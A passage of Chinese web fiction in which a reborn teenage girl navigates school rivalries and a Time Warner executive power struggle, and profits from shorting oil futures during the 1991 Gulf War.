亨特心里急得火烧火燎,生怕这帮猪队友乱说话,激怒菲伊抖出击剑馆的事来,连忙三步并作两步凑到她跟前,压着嗓子飞快地说: “是他们不长眼,我回头肯定管住他们,之前比赛的事你可千万别往外说,算我欠你个人情!” 菲伊眉梢一挑,尾音拖得慢悠悠的,轻声质疑道:“你确定你说话管用?” “管用,绝对管用!”亨特忙不迭地拍胸脯保证,声音压得更低,“我爸是校董,这帮人都给我面子。我保证,以后整个谢菲尔德没人敢找你麻烦!” 菲伊心里了然,难怪这小子之前这么嚣张。 她微微颔首:“成交。” 她抬手轻轻拍了拍亨特的肩膀,凑近他的耳边道,“我这人记性时好时坏,能不能忘记之前那事,全看你后续表现了。” 说完直起身,顺手拎起脚边的书包,神色淡淡道:“我第一节有课,先走了。” 与亨特擦身而过时,她轻轻勾了下唇,“很高兴见到你,以及——”视线扫向不远处仍在发愣的几人,“你的朋友们。” 等菲伊走远了,走廊里围观的学生和汤姆几人才回过神。 “我去……你居然和这转学生认识?”汤姆一脸八卦地凑过来,“你们什么情况?怎么从来没听你提过?” “看你刚才那样子,怎么跟见了鬼似的?”另一个男生跟着打趣。 亨特脸上红一阵白一阵,含糊其辞地糊弄:“啊……之前见过一次,挺投缘的,算是朋友。” “朋友?”汤姆挤眉弄眼地吹了声口哨,“可以啊亨特,刚开学就把新转来的漂亮妞拿下了?这速度够快啊!” “别瞎说!”亨特吓得一激灵,下意识就往菲伊消失的走廊尽头看了一眼,见人已经走没影了,才松了口气。 随即脸色一正,厉声道,“什么拿下不拿下的,那是我朋友!我、我姐妹!” 他往前站了半步,扫视周围一圈还没散去的学生,刻意提高音量道: “都听清楚了,菲伊·温斯洛以后由我亨特·莱文罩着。以后谁要是敢找她麻烦、乱嚼舌根,就是跟我亨特过不去,别怪我不客气!” 这话一出,走廊里立马响起一片窃窃私语声。汤姆几人也收起轻慢的心思,但对菲伊这个转学生却愈发好奇了。 这事就像长了翅膀,一上午的功夫就传遍了大半个谢菲尔德高中,还越传越离谱。 有人说菲伊是隐秘豪门的千金,和莱文家是世交,特意低调转来谢菲尔德读书;也有人说菲伊救过亨特,所以他才死心塌地要罩着她…… 各种版本传得有鼻子有眼,越说越玄乎。 等菲伊午休时从莉亚嘴里听到这些传言,只是当个笑话听听,并没放在心上。 只要不是恶意抹黑,这种无伤大雅的八卦,她没那个美国时间去管。 她现在快要忙疯了。 一边是繁重的学业,一边是即将杀青的《落水狗》,很快就要转入后期制作,报名电影节和上映宣发的事必须得开始盘算了。 再过段时间,乔治那边的动作片筹备完毕,她还要进组拍两周戏,光是跟学校请假、协调课程进度就够让人头疼。 但这些,都还不是眼下最紧要的事。 菲伊指尖轻轻划过记事簿上圈出的单词:1月。 数字旁边,她用铅笔写了“海湾”两个字。 上辈子就是这个时间点,美国正式出兵介入海湾战争,届时国际原油和美股也会迎来新的一轮剧烈震荡。 而这,将是她第二次掘金的绝佳机会。 至于美国出兵的确切日期,她已经记不清了,只记得是在1991年初。 从去年12月中旬,她就开始布局。 扣除预留给《 落水狗》剧组的第二批投资款30万美金,以及留出2万作为公司日常运营与个人开支的流动资金。 剩下所有本金,连同这几个月在美股、短期国债里赚到的收益,共计173万美金,分批次进场,10倍杠杆做空WTI原油期货。 只要历史大方向不发生偏移,这波一定稳赚不赔。 正想得出神,书包里传来手提电话单调乏味的铃声。 菲伊走到走廊僻静处接起,来电的是苏珊·赵,她的财务助理,专门负责公司的日常资金调度与账目核算。 “菲伊,刚插播了一条突发新闻。”苏珊知道菲伊讨厌无用的废话和寒暄,直奔重点,“日内瓦谈判破裂,国务卿刚刚召开发布会,宣布外交途径彻底终结,只剩下军事解决方案。” 菲伊握着电话的手指微微收紧。 历史的车轮,终究还是循着既定的轨迹碾过来。 “不出意外的话,战争就在这个月。”她深吸一口气,一字一顿道,“按原定计划,继续加仓。 苏珊沉默了几秒,斟酌着开口道:“需要调出部分资金,开小仓位期权做风险对冲吗?” “不用。”菲伊答得斩钉截铁,没有半分犹豫,“等战争正式打响的消息一出来,油价一定会暴跌。所有仓位全部持有到底,一股都不要动。” “好,我明白了。” …… 傍晚的夕阳斜斜掠过谢菲尔德高中的红砖教学楼,褪去了白日的喧嚣,校园里的人流渐渐稀疏。 菲伊单手拎着书包,步履轻快地走出校门,马路对面忽然响起一道汽车鸣笛声。 菲伊下意识抬眼望去。 一辆黑色商务车停在行道边,车门推开,一道熟悉的身影走下车来。 是乔治·西尔弗。 只是此刻的他,头发凌乱,脸上透着几分疲惫,早已没有了一周前的意气风发。 他站在车边,朝菲伊挥了挥手,嘴角向上扯了扯,勉强扯出一抹笑意。 菲伊脚步微顿,心头悄然掠过一缕不好的预感: 出事了。 84.第84章 菲伊穿过人行横道,还未开口,乔治便先上前一步,歉声道:“菲伊,抱歉,耽误你一会儿,有件事想当面和你说一下。” “怎么了?” 乔治垂眸苦笑一声,长长吐出一口郁结的浊气:“是片子的事,《猎刃追凶》暂时拍不了了。” 果然。 菲伊心底的预感成真了。 她总觉得最近一段时间事事都太过顺利,搞得她差点以为自己转运了。 现在听到这个消息,她内心反倒诡异地松了口气。 “具体原因是?” “说来有些复杂。” 乔治揉了揉发胀的眉心,知道有些事想瞒也瞒不了多久,索性全盘坦白,“其实不止是这部动作片,我手头所有正在筹备和立项的项目,全部被紧急叫停了。” 菲伊这回是真的有些惊讶了——什么叫全部被叫停? “包括那部原本要在谢菲尔德取景的青春片,也搁置了。”乔治满脸苦涩道,“华纳总部突然下发通知,我名下所有项目都要进行风控审查,相关资金全部冻结,所有拍摄、筹备工作一律暂停,等待内部审计结果。” “有人在针对你?”菲伊敏锐察觉到不对劲。 “猜对了。”乔治看了她一眼,重重叹了口气,“不过,我只是前菜而已……” 更多的他没有多说,想来涉及到一些华纳内部的秘辛,不便同她这个外人说。菲伊很有眼色地没再追问。 乔治话头一转:“我今天过来,一是处理那部青春片的取景延期、合约暂缓事宜。二来,也想尽早跟你说明情况。” 他看得出来,菲伊愿意接下这部戏,不止是单纯的演员合作,更是看好项目前景、想要入局尝试。如今突发变故,所有进度归零,换成任何人,都会心生不满、失望甚至恼怒。 如果菲伊怪他、骂他,他还好受些。可眼前少女眉眼依旧平和,不见半点怨怼,反而让他愈发愧疚不已。 “事情大致就是这样。”他看了一眼天色,“时间不早了,我送你回家吧。” 菲伊点点头,从善如流地上了车。 行至半路,车载电话骤然响起,刺耳的铃声在安静的车厢里撞得人心头发紧。 乔治指尖猛地一颤,按下接听键的瞬间,外甥菲利普略显慌乱的声音立刻冲了出来。 “舅舅!母亲她刚才在公司突然晕倒了!露西打给我,说已经送西达赛奈医院了,我现在正往那边赶……” 乔治脑子嗡的一下,握着方向盘的指节瞬间泛白,整条手臂控制不住地轻颤起来——这是他从小落下的毛病,越是心急如焚,双手抖得越厉害。 姐姐向来身体很好,连感冒都少有,可现在偏偏赶在他项目全停的节骨眼上出事。 难道那些人已经等不及,直接对姐姐下手了? 恐慌裹挟着焦躁瞬间吞没了他,下意识一脚踩死刹车。 刺耳的刹车声炸响开来,车身重重顿挫猛地刹停,引擎直接熄火。 巨大的惯性让菲伊毫无防备地向前一冲,额头险些磕在前排中控台上。 后方紧随的私家车来不及避让,差点撞了上来,车主被惊出一身冷汗,当即疯狂按着喇叭,摇下车窗高声怒骂了几句,又狠狠打了一把方向盘,从侧面超车而去。 “舅舅,怎么了?” “我没事。你先别慌,我马上就到!”乔治强撑着稳了稳声音,挂断电话。 他低头想用钥匙重新启动车辆,可双手抖得愈发厉害。 菲伊稳住摇晃的身子,稍稍平复了一下气息,看见乔治这副心神大乱的模样,轻声提议道: “要不我来开吧。我已经拿到驾照了,保证安全把你送到医院。” 乔治愣了一下,下意识摇头:“这怎么行,太耽误你回家了,我自己可以……” “没事的。”菲伊推门下车绕到驾驶座旁,“我晚回去一会儿没关系,打个电话和家里说一声就好。你眼下的状态根本不适合驾车,如果出了事怎么办?” 乔治看着她不容置疑的神情,到了嘴边的推辞又咽了回去。他此刻确实心慌意乱,强行开车容易出事,最终点头道:“谢谢你,菲伊,真的谢谢你。” 两人换了位置。菲伊坐进驾驶座,调整座椅、系安全带,然后稳稳启动引擎,车子很快汇入晚高峰的车流。 乔治望着窗外沉沉夜色,心神渐渐平复下来,沉默良久,缓缓开口道: “想必你也听到了,被送到医院的人,是我的姐姐,玛丽·西尔弗。她是时代公司的CEO,时代和华纳合并后,出任新集团的联席CEO,但……你懂的,有些人不想她坐稳这个位子。” “所以我才说,我手里的项目突然被冻结审查,只是前菜而已。” 乔治说的隐晦,但菲伊一点就通。 也就是说,这场突如其来的项目危机,其是时代华纳高层内斗的结果,对方真正的目标,并不是乔治,而是他背后的玛丽·西尔弗。 “你告诉我这些,没关系吗?”菲伊自认只是个小虾米,可不想卷入这些大厂的权力斗争中。 “其实也没什么。”乔治自嘲道,“对方显然筹谋已久,出手又快又狠。恐怕过不了多久,那些八卦小报就会闻风而动,到时候……还不知道会传成什么样子呢。” 半个小时后,车子稳稳停在医院楼下。乔治几乎是推门就冲了进去,菲伊紧随其后,两人一路乘电梯上到顶层独立病房区。 推开病房门时,玛丽已经醒了。 她留着一头利落的淡金短发,面部线条清瘦舒展,眼窝深邃有神,眉眼间自带岁月沉淀的睿智与上位者气场,只是此刻面色苍白虚弱,褪去了平日的强势凌厉,多了几分疲惫。 菲利普正弯腰扶着她调整靠枕角度,听见动静回头,看见舅舅身后跟着的菲伊,顿时愣住了: “温斯洛?你怎么会在这里?” 乔治没顾得上解释,三步并作两步冲到病床边,语气急得发紧:“玛丽,你感觉怎么样?医生怎么说?要不要做全身检查?” “慌什么,我没事。”玛丽笑着道,“就是连着熬了几天夜,今天又连开三个会,一口气没提上来,晕了片刻而已,医生说是过劳加气血亏虚,静养两天就好。” 她说得轻描淡写,可乔治心里清楚,哪里是单纯的累。 项目全线冻结、内审步步紧逼……斯蒂芬那边明枪暗箭轮番来,姐姐是被这堆烂事硬生生压垮的。 这时玛丽才抬眼看向门口站着的菲伊,眸子里掠过一丝讶异。 乔治这才后知后觉想起介绍,连忙侧身: “这是菲伊·温斯洛,就是我之前跟你提过的《猎刃追凶》中叶清的扮演者。刚才接到电话我手抖得开不了车,是菲伊帮忙开车送我过来的。” 菲伊上前半步,礼貌颔首:“西尔弗女士,你好。冒昧前来,希望没有打扰你休息。” 玛丽看着眼前气质沉静的少女,又看了看弟弟满脸的惊魂未定,心里多少猜到了几分路上的情形。 她轻轻舒了口气,朝菲伊露出一抹温和的笑意,真心感谢道:“麻烦你了,温斯洛小姐。这么晚还让你跑一趟,实在过意不去。” 菲伊站在一旁,见乔治欲言又止, 显然有事要和姐姐商议,便识趣地开口道:“西尔弗女士,你好好休养,我就不打扰了,先告辞。” 玛丽略带歉意地点点头:“今晚实在麻烦你了,路上注意安全。乔治,天这么晚了,公交早停运了,你……” “我送她回去。”菲利普立刻接话,顺手拿起搭在椅背上的外套,“我开车来的,顺路。” 乔治确实有事要和玛丽商量,实在抽不开身,闻言连忙叮嘱:“路上慢点,到家给我回个电话。” 菲伊点点头,便跟着菲利普走出病房。 两人一路无话,走到电梯口按下按键。 叮,电梯门滑开,里面走出五个人。 为首的是个中年男人,鬓角掺着几缕灰白短发,面部轮廓硬朗深邃,眉眼锐利,一身剪裁考究的商务休闲装,看似松弛,周身却透着久居上位的压迫感。 他身后跟着一男一女,瞧着是助理之类的下属,一人捧着精致花篮,一人提着果篮,姿态恭敬。再往后,是两名戴着墨镜的保镖。 嚯,这谁啊,来个医院都摆这么足的架势? 菲伊正暗自吐槽着,就敏锐地发现身边的菲利普脊背瞬间紧绷:“范德比尔特先生?您怎么来了?” 男人目光扫过来,落在菲利普脸上,立刻堆起一抹关切的笑意:“哦,原来是菲利普!刚下飞机就听说你母亲住院了,我立刻赶了过来。你母亲她没什么大碍吧?” “劳范德比尔特先生费心了,我母亲只是过劳晕厥,医生说静养即可。”菲利普礼貌回道。 杰拉德·范德比尔特目光微转,落在菲利普身侧的菲伊身上,稍稍顿了顿,眉峰微挑:“咦,这位美丽的小姐是?” 菲利普不动声色地往菲伊身前侧了半步,堪堪挡住对方的视线,平静回道:“我同学,顺路来给我送点东西。” 杰拉德笑了笑,没再多问,只颔首示意,便带着一行人擦身而过,径直朝病房方向走去。 菲伊侧眸,恰好看见菲利普一贯淡然的脸上,飞快掠过一丝毫不掩饰的厌恶,稍纵即逝,几乎让人以为是错觉。 她望着那一行人远去的背影,心底默默念了一遍:范德比尔特……这个姓氏好像在哪里听过,一时却想不真切。 车子驶出医院停车场,汇入夜色里的车流。 一路路灯连绵成暖黄的光带,车厢里依旧沉默,只有车载电台放着轻柔的爵士乐曲,压下了几分凝滞的气氛。菲伊看得出他心绪繁杂,也乐得安静,便没有主动搭话。 四十分钟后,车子稳稳停在索尔家院子外。 菲伊解开安全带,正推门下车,就听见驾驶座传来动静,菲利普也下了车,绕到副驾这边。 菲伊抬眼看他,路灯的光落在菲利普脸上,明暗交错。他面色有些不自然,像是酝酿了一路才说出口:“今天……谢谢你。” 顿了顿,他又别开视线,声音压得低了些,带着几分别扭的诚恳:“还有,之前第一次见面,是我态度轻慢了,抱歉。” “哦,那件事我早忘了。”菲伊有些意外,随即淡淡笑了下,“今天也不过是举手之劳,不用谢。多谢你送我回来,再见。” 说完,轻轻摆摆手,转身便朝铁艺门走去。 菲利普站在原地,望着少女的背影消失在院门后,又看着院门轻轻合上,站在原地沉默了几秒。 夜色里看不清他神情,只听见他轻轻吐出一口气,像是卸下了什么,又像是无端添了些别的情绪。 片刻后,他拉开车门坐回驾驶座,指尖搭在方向盘上顿了顿,最终启动引擎,车子缓缓驶离了这条安静的街道。 85.第85章 “Cheers!” 十几只玻璃杯撞在一起,叮铃哐啷的响声连成一片。 暖黄的灯光从头顶压下来,把杯沿镀成一圈浅金。卡座里挤得满满当当,菲伊、凯瑟琳、劳伦斯、昆汀和袁杰坐在最靠里的位置,周遭围着七八个《落水狗》剧组的工作人员。 连日紧绷的拍摄压力在这一瞬尽数卸下,众人举杯相触,脸上尽是杀青后的轻快与放松。 大家正东拉西扯聊着片场糗事,凯瑟琳忽然胳膊肘一怼菲伊,兴致勃勃地问:“哎对了!你之前不是接了时代华纳的一部动作片吗?现在筹备得怎么样了,什么时候进组?” 这话一出来,旁边正聊得热火朝天的几个人瞬间收了声,齐刷刷扭头看过来。 华纳院线大制作,跟他们这群拍独立小成本的根本不是一个量级,连道具组大哥都忍不住抻着脖子望过来,小声嘀咕:“咱老板也太猛了,不仅能赚钱,居然还能被华纳请去演戏!”眼里全是好奇和艳羡。 菲伊无奈地扯了扯嘴角,摇头道:“这事,大概率要黄了。” 众人脸上的笑意顿时一滞,有些面面相觑。 “啊?啥情况啊?” “华纳的项目也能说黄就黄?” “片子临时被叫停了,全面搁置了。” 菲伊没提高层内斗那些秘辛,只捡能说的表层缘由讲,“负责项目的制片人那边出了点状况,他手里所有筹备、立项的片子,都被叫停,说是要进行风控审查,所以那部片子暂时没法推进了。” 她本打算点到为止,随口带过这件糟心事。 可身旁一直安静听着的劳伦斯,却缓缓放下手中的酒杯,一脸了然道:“啊,这事我也听说了。” 他虽说比不上乔治那种深耕多年的资深制片人,但好歹在圈子里摸爬滚打了这些年,消息灵通,内里的弯弯绕绕比旁人清楚得多。 他微微往前倾了倾身,压着嗓子扫了圈众人:“事情可没表面看着那么简单,里面水深着呢。” 见所有人都看了过来,他又压低了些声音,“这哪儿是单纯的审查啊,这是时代华纳合并之后,高层之间在掰手腕。你们都知道吧?现在的公司一共有两个老大,实行双CEO?” “知道知道,老早听说了。” “对,一个是从时代过来的,一个是华纳原来的老大。” “所以……这是两人掐起来了?” 劳伦斯冲最后说话的摄影助理挑了下眉,一副“算你猜对了”的表情,接着往下说: “一山哪容得下二虎啊,就算一公一母也不行。那俩一个是原时代的CEO玛丽·西尔弗,一个是前华纳的一把手、现在的董事长兼CEO斯蒂芬·罗斯福。 两家刚合并的时候就面和心不和,底下人自动分成两派,明争暗斗快一年了。” 他顿了顿,又道:“现在赶上公司要上市,正是摊牌的关键时候,那斗争可不就直接摆上台面,进入白热化阶段了嘛。” 一桌人听得连连点头,有人啧了一声,小声吐槽:“合着是神仙打架,小鬼遭殃啊。好好的项目说停就停,倒霉的还不是我们这些干活的。” 谁料,劳伦斯的爆料还没结束,他话锋一转,看向菲伊: “我们第一次见面那天,在酒吧借打赌为难埃文的那个男生,你还有印象吧?” 菲伊皱了皱眉,一时半会儿没想起来那人的名字,身旁的凯瑟琳抢答道:“我知道、我知道!你说的是那个鼻孔男对吧!” 菲伊微微一怔,眼底满是茫然:“什么鼻孔男?” “就是贾斯帕·范德比尔特啊!”凯瑟琳满脸戏谑,“那男的看人时总爱抬着下巴,眼睛从上往下瞟,全程鼻孔对着人,拽得二五八万的,所以我们学校里不少人私底下都这么叫他!” 说到这里,她还朝埃文挤挤眼,“你说对吧,埃文?” “啊?”埃文推了推鼻梁上的眼镜,腼腆地点点头,“好、好像是有这么回事。” 劳伦斯接过话头:“没错,就是他。他的父亲,正是斯蒂芬最信任的心腹,华纳HBO有线电视的总裁。这次带头针对玛丽派系、在台前疯狂搞事的就是此人。我记得他好像叫…… “杰拉德·范德比尔特。”菲伊脱口而出。 “对对对,就是这个名字!”劳伦斯立刻应声。 菲伊轻啧一声:难怪当时在医院见到那人时,总觉得他的姓氏格外耳熟,原来是贾斯帕的父亲。 真是有其父必有其子。 一个仗着父辈权势在校园嚣张跋扈、目中无人,一个身居高位、心机深沉,父子俩骨子里的傲慢与强势,如出一辙。 就在这时,吧台方向突然传来玻璃碎裂的声音,紧跟着就是粗粝的叫骂与拳打脚踢的闷响。 周遭客人顿时受惊,此起彼伏的尖叫声、慌乱的桌椅挪动声响成一片,吧台附近瞬间陷入混乱。 卡座里的剧组众人当即噤了声,都抻着脖子往骚乱的方向望。 菲伊眉心微蹙,目光穿透晃动的人影,落在那个被围殴的男人身上。 下一瞬,她目光微顿,眼底掠过一丝意外。 那个蜷缩在地上、被打得难以招架的男人,她恰巧认识。 正是《猎刃追凶》的编剧之一,安迪·维克斯。 她没多犹豫,抄起桌上两个空啤酒罐,手腕一甩就朝着人群里下手最狠的两个男人后脑勺飞了过去。 “咚、咚”两声准得离谱。那俩人正抬脚踹人,冷不丁后脑勺挨了重重一下,顿时往前一个趔趄,差点直接栽到地上。 围殴的几个人立马停了手,纷纷扭头望过来。为首的男人脸色一沉,恶狠狠地扫过卡座方向,扯着嗓子吼:“谁他妈砸的?活腻歪了是吧?” 菲伊刚要站起身,身旁的劳伦斯已经“腾”地一下站起来,半步就挡在了她前面,抬着下巴冲那边怼回去:“我砸的,怎么了?” 下一秒,卡座里呼啦啦站起来一片。昆顿、袁杰率先起身,道具组的几个天天扛轨道搬器材的壮汉,还有跟着剧组跑的武术指导也跟着站了出来。 “还有我。” “我也砸了。” “怎么着,想比划比划?” 几个人往那一站,胳膊上的肌肉绷得鼓鼓的,袁杰更是漫不经心地捏了捏指节,咔咔作响。 那几个找茬的本来就是趁人醉酒耍横,一看对面七八个壮汉,个个看着都不好惹,刚涨起来的火气立马泄了大半。 为首的啐了一口,放了句“你们给我等着”的狠话,架着两个挨砸的同伙,骂骂咧咧地挤出人群溜了。 混乱稍定,菲伊快步走过去蹲下身。 安迪抱着头蜷在地上,嘴角破了点皮,额头蹭出一道血痕,看着狼狈不堪,其实都是皮外伤,没动着筋骨。 只是浑身酒气冲天,眼神涣散得厉害,被扶起来的时候脚软得像踩在棉花上,站都站不稳,嘴里还含混嘟囔着什么,摆明了是喝断片了,难怪全程没半点还手之力。 “伤得不重,就是喝多了。”菲伊松了松手,转头跟劳伦斯说,“我先送他去附近医院处理下伤口。” 劳伦斯:“你认识他?” 菲伊点点头:“算是吧。” 袁杰立刻上前搭了把手:“我跟你一起去,多个人照应。” 劳伦斯也点头:“我也留下帮忙。昆顿,你带其他人先散,明天片场收尾的事再说。” 昆顿应了一声,领着剧组其他人先走了。菲伊和劳伦斯架着烂醉的安迪,袁杰在旁边拦车,没几分钟就把人送去了就近的医院急诊。 医护人员清理包扎好安迪的伤口,确认只是醉酒外加轻微软组织挫伤,便让安迪去候诊区休憩,等头脑清醒些便可自行离开。 几人陪着昏昏沉沉的安迪坐在候诊室没多久,走廊里便传来一阵急促的脚步声。 拉里推门快步走入,外套搭在胳膊上,头发跑得有点乱,一眼看靠在椅背上闭目休息的安迪身上,紧绷的神色才稍稍舒缓下来。 “今天真的太谢谢你们了,温斯洛小姐。”他走到菲伊面前,郑重地道谢,“要不是有你们在,还不知道他会被打成什么样。” “举手之劳,正好撞上了。”菲伊摆了摆手,“没什么大事,都是皮外伤,医生说等酒醒就能回去了。” 拉里满心疲惫地望向自家弟弟,重重叹了口气:“他平日里向来滴酒不沾,这段日子心里积攒了太多烦闷憋屈。我寻思着让他 来酒吧小酌几杯排解心绪,万万没料到他会把自己灌得这么醉,还和别人起了冲突。” 菲伊顺势开口询问:“是因为影片被迫暂停的事吗?” 提及此事,拉里眉宇间的郁结更重。他下意识瞥了一眼身旁的袁杰与劳伦斯,话到嘴边又收了回去。 劳伦斯一眼看穿他的顾虑,当即拉了一把凯瑟琳,随口找了个由头:“医生说多补充水分有助于代谢酒精,医院外有商店,走,咱们去买几瓶水。” 袁杰立刻会意,连忙附和着应声,跟着劳伦斯一起离开。 见只剩下菲伊一人,拉里才卸下心中顾忌,低声道出内情:“这部片子目前的确被暂时搁置,但用不了多久,华纳就会重启拍摄。” 菲伊有些意外:“重启?可乔治手上所有项目全都处在内部审查阶段,应该没那么快就能推进摄制吧?” 拉里靠在冰凉的墙壁上,看着窗外,露出一个讥讽的笑容:“审查是对内整人的手段,但商业合约是早已签好的,华纳不敢真的违约。” 他收回目光,耐心跟菲伊拆解其中的门道,“你是不知道,《猎刃追凶》早就敲定了海外院线发行合约。人家合同中明文规定,签订之日起45天内,必须正式开机。” “一旦超时拍不了,华纳属于单方面违约,需要赔一笔天价违约金。”拉里压低声音,继续解释道,“更别说还有特效团队、武指班底、全体主创的解约赔偿,零零总总加起来,亏损可达上千万。” 他抬眼扫了下周围,压低声音道: “更何况现在是什么节点?华纳马上要上市招股了。 这么大一笔负面亏损、合同违约的污点,一旦写进公开招股书,估值直接崩盘,董事会谁敢担这个责任?所以这片子,必须开机,没得选。” 菲伊眸光微沉,不消片刻便想通了其中的弯弯绕绕,轻声追问:“所以,牺牲的只有乔治?项目能保下来,但负责人要换掉?” 既然如此,维克斯兄弟俩苦恼什么呢,能正常开机对他们有利啊。 “你猜对了一半。”拉里苦笑着摇头,“负责人确实要换,而且新的接手人……据公司内部消息,是杰拉德·范德比尔特。” 菲伊挑挑眉,HBO的总裁亲自下场?《猎刃》这块饼这么香吗,还是,醉翁之意不在酒? 却见拉里的眼底掠过一丝厌烦,语气更冷了:“最恶心的是,他人还没正式官宣接手,手脚就已经伸得老长,急着折腾我们的剧本。” “他随便找了个流水线商业编剧,上来就大刀阔斧乱改一通。” 拉里越说越气,语速都快了几分,“我们原本打磨了大半年的剧本,被改得七零八碎,叶清那个角色的线也被砍了大半。” 他忍不住自嘲地嗤笑一声,满是无力:“最离谱的你知道是什么吗?他们硬生生给男主加了条恋爱线!让他和仇人的女儿纠缠不清,又是误会拉扯,又是相爱相杀,好好的复仇片,硬生生改成了无脑情爱狗血片。” 菲伊静静听着,眼底掠过一丝了然,轻声道:“难怪安迪会喝成这样。” 一提自家弟弟,拉里眼底的火气瞬间褪去,只剩心疼与疲惫,叹道:“我和安迪第一时间就去找他们抗议、理论,可根本没用。” 他摊了摊手,语气满是无可奈何,“剧本版权早就全权归时代华纳了,我们兄弟俩说白了,就只剩一个原创署名权。人家手握全部版权,想删就删、想改就改,我们人微言轻,连插嘴的资格都没有。” 他侧头看向座椅上仍在昏睡的安迪,一脸苦涩: “当初和华纳签约的时候还挺高兴的,以为背靠大树好乘凉,谁知道……” 一旁昏睡的安迪像是隐约听见了“剧本”二字,眼皮轻轻颤了颤,含糊地呢喃:“别改……我的剧本……不能改……” 菲伊张了张嘴,宽慰的话在喉咙里打了个转,最终还是咽了回去。 创作者的心血被随意践踏,偏生版权捏在资方手里,连辩驳的余地都没有,这是资本世界最常见也最无力的困局,任何安慰都显得轻飘飘的。 她没再出声,只沉默地看着窗外漆黑的夜色,急诊室冷白的灯光落在她侧脸上,没什么多余表情,眸色却微微沉了沉。 86.第86章 接下来的一周,菲伊没再去特意关注华纳和乔治的后续动静,因为伊拉克的局势愈发紧张,她有强烈的预感,原油市场的“转折点”就要到来了。 1月17号凌晨,电话铃声猛然响起,把菲伊从睡梦中惊醒,她几乎是下意识抓过移动电话。 苏珊慌乱急切的声音劈头就砸过来: “菲伊!出事了!美军空袭伊拉克,WTI原油直接冲高,短短两小时从32美元拉到35美元。我们是十倍杠杆重仓做空,账面已经大面积浮亏!趁亏损还没进一步扩大,开盘后得立刻平仓止损。” 最后一只靴子终于落地了。 菲伊听到这消息,非但没有惊慌,反而心里踏实了几分。 “别慌,这波拉升,只是开战瞬间市场恐慌催生的投机买盘,密切关注最新消息,再等等。” 苏珊沉默了片刻,低声应道:“好,我会盯紧盘面的。” 挂断电话,菲伊再无半分睡意。虽然从历史走向来看,这油价一定会降下去,刚才给苏珊的说辞也很笃定。 可心里却仍忍不住想,万一呢? 万一这回没那么幸运,历史的轨道发生了偏离?万一她这只没什么存在感的小蝴蝶,在某次扇动翅膀时,不小心引发了万里之外的时局转变? 如果这次油价一反常态持续冲高,她的十倍杠杆将会直接爆仓,不仅所有积蓄清零,还会欠下一大笔债。 既然睡不着,索性就不睡了。 菲伊拧开收音机,不出所料,各大主流平台都在播报中东那边的实施情况。她尽量把音量调小,以免吵醒索尔夫妻。 时间一点点过去,凌晨2点21分,她终于听到了想要的消息:多国联军的空袭行动,全面摧毁伊拉克防空体系。白宫宣布,将释放3000万桶战略石油储备,国际能源署IEA协同兜底供应,每日向全球市场投放数百万桶原油。 15分钟后,电话铃声再次响起。这一回苏珊的声音明显了多几分雀跃和振奋:“菲伊!跌了!油价真的往下降了。” 窗外天际缓缓透出鱼肚白,今天不是休息日,学校还有课。菲伊简单收拾一番,以生病为由向学校请了一天的假,然后直奔自己的公司。 办公室里,苏珊早已守在行情终端前,电视机持续播放中东战情直播。 终端屏幕上的油价曲线一路俯冲,开盘便直接从35美元往下砸,接连跌破30、28关口,直直杀至25美元,到了上午11点,最大跌幅已逼近四成。 菲伊盯着跳动的数字,深吸一口气:是时候了。 然后示意苏珊联系华尔街的交易员,让他平仓60%的仓位。 苏珊不解:“我们为什么不一次性全部平仓落袋为安?一旦市场短期超跌迎来技术性反弹,剩下四成仓位的浮盈会大幅缩水,到手的利润就会变少。” 菲伊侧眸扫了眼电视里持续播放的轰炸镜头,心底早已推演完整后续战事走向,一脸笃定道: “如今仅仅只是结束了首轮空中打击,市场刚初步消解掉原油供应中断的恐慌。 但想要彻底压制伊拉克武装、逼迫对方撤军,单凭空中轰炸远远不够,美国后续一定会投入大规模地面部队。 一旦陆战开启,伊拉克必败,市场确认原油供应链不会遭受长期破坏,恐慌情绪随之彻底消散,油价还会创下新低。到时我们再把剩下的4成一次性清仓。” “啊,原来如此。”苏珊此刻对菲伊的判断已是完全信服,老板说什么就是什么,再也没有半分怀疑。 没过多久,六成仓位交割完毕。扣除全部手续费和保证金损耗,本次操作净盈利181.44万美元。 望着账面上的余额,紧绷一整夜的神经骤然一松,狂喜直冲两人的头顶。 “上帝!这是我第一次看到这么多钱!” “我也是!” 菲伊和苏珊重重击了一掌,激动地抱在一起放声欢呼。 “这几天辛苦你了,整日整夜都在帮我盯盘,等剩下的平仓了,我给你包一个大红包!” “红包?”苏珊疑惑。 “就是奖金的意思!” “谢谢老板!” “让我算算……”菲伊兴奋地来回踱步,快速心算着这回她能盈利多少,“如果油价能继续下跌到20美元我们再平仓,那么剩余的4成也就是172.8手原油期货可以净赚……2073600美元!” “妈妈咪呀!”菲伊激动地看向苏珊,“算下来本金加盈利,最后到账能有550多万,咱们公司的总资产一下翻了一倍还不止。” 可她这份欢喜还没持续几秒,就被苏珊的耿直发言地泼了一盆冷水:“菲伊,你算错了,实际到手不会有这么多。” 菲伊脸上的笑意一僵,茫然抬眼:“什么意思?我哪里出错了?” 难道她的心算能力退步了? 苏珊拉开抽屉,取出一份计税表单,指着上面的税率栏道:“你忘了投资收益是需要缴税的。咱们公司属于个人独资,金融市场投资所得算作商业资本收益,叠加联邦最高资本利得税率、加州企业附加税,综合税负达42.84%。” “哈?!”菲伊倒抽一口凉气,满脸震惊,“近一半的利润要上交?” 苏珊默默点头。 见菲伊一脸沮丧,跟霜打过的茄子似的,又连忙开口宽慰:“不过也不是没有合法抵扣的办法,依照当下联邦和加州现行税法,合规支出能够冲抵应税收入。” 菲伊倏地抬头:“什么意思?” “首先,你现在全额投拍的独立电影《落水狗》,影片拍摄、剧组劳务、器材租赁全部属于合格经营开支,这笔投入能直接抵扣当年应税利润; 其次,若是接下来你继续投资其他项目,或是添置公司办公设备、租用办公场地,所有正规经营花销,都能按比例削减计税基数; 另外,公司往年交易产生的小额亏损也能逐年结转,抵消当年的高额盈利,进一步压低最终缴税总额。” 苏珊顿了顿,总结道:“只要把这笔原油收益合理分配到影视投资、公司运营支出上,足额利用抵扣政策,就能大幅压缩需要上缴的税款,保住更多现金流。” 菲伊听完,心里总算稍稍好受些,虽然不能 全部减免,单好歹不用割肉近一半的利润了。看来,她得抓紧时间多找几个合适的投资项目了。 熬了一整夜没合眼,紧绷的神经放松后,浓重困意瞬间涌上来。和苏珊道别后,菲伊打算回家补个觉,可还没走出去几步,整个人突然钉在原地。 等等,好像哪里不太对! 她上次通过阿利斯泰尔赚的那210万,当初入账时,好像没听说要扣税啊? 